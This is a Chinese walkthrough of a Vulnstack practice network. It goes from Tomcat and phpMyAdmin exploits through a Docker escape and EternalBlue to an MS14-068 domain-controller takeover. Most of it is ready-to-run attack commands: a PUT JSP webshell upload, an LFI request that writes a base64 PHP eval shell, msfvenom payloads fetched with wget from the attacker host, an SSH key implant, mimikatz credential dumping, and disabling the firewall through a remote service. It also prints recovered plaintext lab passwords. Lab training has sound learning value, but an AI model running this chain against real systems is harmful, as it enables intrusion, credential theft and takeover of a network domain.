前言
靶机详细信息
1 | http://vulnstack.qiyuanxuetang.net/vuln/detail/6/ |
环境搭建
拓扑图
首先添加一张VMnet2
的网卡
配置子网IP为192.168.183.0
,并且将该网卡应用于 DC
、Win7
、Ubuntu
。Ubuntu
为双网卡,这里我添加的是NAT
。
靶机登录密码
1 | 外网服务器:ubuntu |
需要在Ubuntu
中开启 docker 服务
1 | sudo docker start ec 17 09 bb da 3d ab ad |
各个虚拟机拿到的ip
Kali
Ubuntu
Win7
*注意 win7的IP后续因为靶机重启后会在183.6 或 183.7之间改变 *
DC
外网打点
主机发现
1 | nmap -sn 172.20.10.1/24 |
这里扫出来172.20.10.5
这台机器,另外两个ip分别是网关 和 kali。
端口扫描
1 | sudo nmap -sS -Pn -sV -v -p 1-65535 172.20.10.5 |
分别开放了22
、2001
、2002
、2003
四个端口。
Tomcat CVE-2017-12615漏洞利用
在2002
端口中发现tomcat
页面
从页面中得到tomcat
版本为8.5.19
,通过搜索引擎发现存在文件写入漏洞。
可以通过该脚本直接一键利用
1 | https://github.com/cyberheartmi9/CVE-2017-12617/ |
也可以手工。
首先用burp抓一个访问tomcat
主页的包
然后将请求包改为如下
1 | PUT /shell.jsp/ HTTP/1.1 |
访问
1 | http://172.20.10.5:2002/shell.jsp |
没有回显,但是可以肯定的是已经存在这个文件了。
因为是使用的冰蝎马,直接使用冰蝎客户端进行连接。
成功连接上。
phpmyadmin CVE-2018-12613漏洞利用
在 2003
端口中发现,一个无需登录的 phpmyadmin
页面
一个phpmyadmin
站点,发现版本号为4.8.1
,这个版本存在一个文件包含漏洞 CVE-2018-12613
首先,检测是否存在文件包含漏洞
1 | http://172.20.10.5:2003/?target=tbl_zoom_select.php?/../../../../../../etc/passwd |
把/etc/passwd
文件读取出来,是存在文件包含漏洞的。
接下来,在test数据库中创建一张表,名字随便取
然后,字段名字这插入一句话木马
查看浏览器的session
值
1 | e7bec897077c4a99f9e6e5da0bed67b5 |
访问
1 | http://172.20.10.5:2003/?target=tbl_zoom_select.php?/../../../../../../tmp/sess_e7bec897077c4a99f9e6e5da0bed67b5&cmd=phpinfo(); |
通过蚁剑连接
连接不上。
利用file_put_contents
写马
1 | http://172.20.10.5:2003/?target=tbl_zoom_select.php?/../../../../../../tmp/sess_e7bec897077c4a99f9e6e5da0bed67b5&cmd=file_put_contents("/var/www/html/shell.php", base64_decode("PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==")); |
1 | PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg== |
访问
蚁剑连接
这里成功就拿到了一个webshell权限,接下来,我们将利用该webshell上线MSF的shell
利用webshell派生MSF shell(失败)
生成反弹shell
1 | msfvenom -p linux/x64/meterpreter/bind_tcp lport=9999 -f elf > shell9999 |
通过蚁剑上传到靶机的/tmp
目录下
MSF开启监听
1 | use exploit/multi/handler |
执行
回到msf中
根本就没连接上,目标靶机根本没有打开9999
端口。
Docker逃逸
1 | ls -alh /.dockerenv |
发现该web服务存在于docker环境下。
如果是通过特权模式启动容器,就可以获得大量设备文件的访问权限,因为管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
利用方式
创建一个目录用于挂载
1 | mkdir /tmp/test |
挂载
1 | mount /dev/sda1 /tmp/test |
这里通过2003
端口 phpmyadmin
打下来webhsell
,是没有权限执行的
网上说,需要通过 2002
的tomcat拿到的shell,才行。
切换到tomcat的shell中,执行
1 | mkdir /tmp/test |
成功将 /dev/sda1
挂载到 /tmp/test
下
目前我们已经可以访问物理机当中的所有文件,所以这里的利用思路有两种,一种是,在kali中创建一个用户,然后在/etc/passwd
和/etc/shadow
中该用户的信息复制出来,写入到靶机 /etc/passwd
和/etc/shadow
下,这样我们就可以用ssh连接上去了。另一种是直接写入 ssh密钥。
第一种方式:通过写入passwd和shadow文件创建用户(失败)
首先在kali中创建用户
1 | # 添加用户 |
查看 passwd
和 shadow
中信息
1 | test1:x:3004:3005::/home/test1:/bin/bash |
1 | test1:$y$j9T$B4j3Ux49X5pTOdjWZVEgX0$4iknEZjD18G72k.OLguby8s8bKAdkKXWzEBve48wpbC:19355:0:99999:7::: |
接着在靶机中的passwd
和shadow
中追加的方式写入上面的信息
1 | echo "test1:x:3004:3005::/home/test1:/bin/bash" >> /tmp/test/etc/passwd |
ssh连接
连不上,一直提示密码错误,也不知道那个环节出现了问题。
使用第二种方式:ssh密钥写入
首先生成rsa密钥
1 | ssh-keygen -t rsa |
进入到/home/kali/.ssh/
目录下,用python开启一个http服务
1 | python3 -m http.server |
切换到冰蝎客户端下
进入到 /tmp/test/home/ubuntu/.ssh
目录下,执行
1 | wget http://172.20.10.129:8000/id_rsa.pub |
将 id_rsa.pub.1
重命名为 authorized_keys
1 | mv id_rsa.pub.1 authorized_keys |
赋予 644
权限
1 | chmod 644 authorized_keys |
然后回到kali中
1 | ssh ubuntu@172.20.10.5 |
成功免密码登录
权限维持
接下来,在MSF中上线该靶机
生成木马
1 | msfvenom -p linux/x64/meterpreter/bind_tcp lport=9988 -f elf > shell9988 |
上传至靶机
使用python 开启http服务器
1 | python3 -m http.server |
在刚刚登录的shell中下载
1 | wget http://172.20.10.129:8000/shell9988 |
MSF开启监听
赋予权限并执行
1 | chmod u+x shell9988 |
成功上线
方便后续进行操作。
内网信息收集
查看网卡信息
1 | ifconfig |
发现内网网段
上传fscan进行扫描
1 | ./fscan_amd64 -h 192.168.183.1/24 |
1 | (icmp) Target 192.168.183.5 is alive |
从fscan的扫描结果中可以得知,192.168.183.130
是域控服务器,该主机的操作系统为 Windows Server 2008 HPC Edition 7601 Service Pack 1
,并且存在永恒之蓝漏洞。192.168.183.6
是域成员服务器,该主机的操作系统为 Windows 7 Enterprise 7601 Service Pack 1
,并且也存在永恒之蓝漏洞。
横向移动准备
在MSF中,我们刚刚已经上线了外网的靶机。
接下来,给MSF添加通向内网的路由
1 | run post/multi/manage/autoroute |
内网渗透:域成员服务器 win7
永恒之蓝漏洞利用
1 | use exploit/windows/smb/ms17_010_eternalblue |
试了几次依旧失败,可能是MSF自带的添加路由功能不够稳定,换 frp
做代理。
frp 开启socks5代理服务
首先再kali
中开启frp
服务器
frps.ini
1 | [common] |
1 | ./frps -c frps.ini |
将frp
客户端上传至ubuntu
靶机中,然后按如下方式启动
frpc.ini
1 | [common] |
1 | ./frpc -c frpc.ini |
接下来,首先remove
移除掉MSF中添加的路由,如果这一步没做,也可能导致利用不成功。
1 | route del 网段 掩码 session |
手动一条条删除,没找到删除全部的办法。
接下来,使用给MSF配置全局代理
1 | setg proxies socks5:127.0.0.1:8088 |
再次使用exploit/windows/smb/ms17_010_eternalblue
进行利用
这里win的 IP 由 192.168.183.6 变成了 192.168.183.8
一次成功
主机信息收集
在meterpreter
加载kiwi
1 | load kiwi |
执行 获取用户登录口令
一堆看不太懂的字符串,但是却没有拿到用户登录口令。
进入shell
解决乱码问题
1 | chcp 65001 |
创建一个用户
1 | net user fany qwe123@ /add |
开启远程桌面服务
1 | run post/windows/manage/enable_rdp |
使用 kali
中的 rdesktop
远程连接上去
1 | proxychains4 rdesktop 192.168.183.7 |
再次回到meterpreter
终端中,执行
1 | creds_all |
1 | douser DEMO Dotest123 |
就抓到了域用户的登录口令明文。
如果像上边一样抓不到,就需要自己手动在靶机中登录一次。
MS14-068域用户权限提升
拿到SID
1 | whoami /all |
通过以上信息收集可以得到
1 | 域用户名:douser |
生成高权限票据
命令
1 | MS14-068.exe -u 域成员名@域名 -s 域成员sid -d 域控制器地址 -p 域成员密码 |
1 | MS14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123 |
在当前靶机的桌面目录c:\Users\douser\Desktop
,已经准备好了MS14-068提权执行文件。
通过 mimikatz 导入TGT票据将写入,从而提升为域管理员
1 | kerberos::purge |
验证
1 | dir \\WIN-ENS2VR5TR3N\c$ |
可以访问到域控的c盘目录。
内网渗透:域控服务器
域控服务器是存在永恒之蓝漏洞的,但是由于开启了防火墙,因为是使用正向的shell,服务启动了,防火墙没有开放该端口,所以只能检测到,但是利用不了。
渗透过程
使用MSF生成一个正向shell
1 | msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=8899 -f exe > 8899.exe |
上传到shell域成员服务器中
注意,这里如果退当前shell再来上传,还需要重新使用mimikatz 导入TGT票据将写入
1 | upload /home/kali/8899.exe c:/ |
关闭域控防火墙
1 | sc \\WIN-ENS2VR5TR3N create ProFirewall binpath= "netsh advfirewall set allprofiles state off" |
将payload复制到域控
1 | xcopy c:\8899.exe \\WIN-ENS2VR5TR3N\c$ |
重新开一个MSF设置监听
1 | use exploit/multi/handler |
创建服务并启动
1 | sc \\WIN-ENS2VR5TR3N create startshell binpath= "C:\8899.exe" |
MSF收到shell
尝试几次后,发现特别容易断开,执行ps
, 找一个稳定得进程,马上迁移进程
迁移进程
1 | ps |
1 | migrate 2716 |
主机信息收集
加载 kiwi
1 | load kiwi |
获取用户口令
1 | creds_kerberos |
不是system
权限
提权
1 | getsystem |
在执行
1 | creds_kerberos |
成功拿到域控的登录口令
1 | administrator DEMO.COM qwe123!@# |
开启3389
1 | run post/windows/manage/enable_rdp |
在windows下配置代理,直接连接
成功拿下。
参考文章
https://blog.csdn.net/qq_36241198/article/details/121619400
https://blog.csdn.net/weixin_42918771/article/details/116207505
https://blog.csdn.net/weixin_54648419/article/details/123732412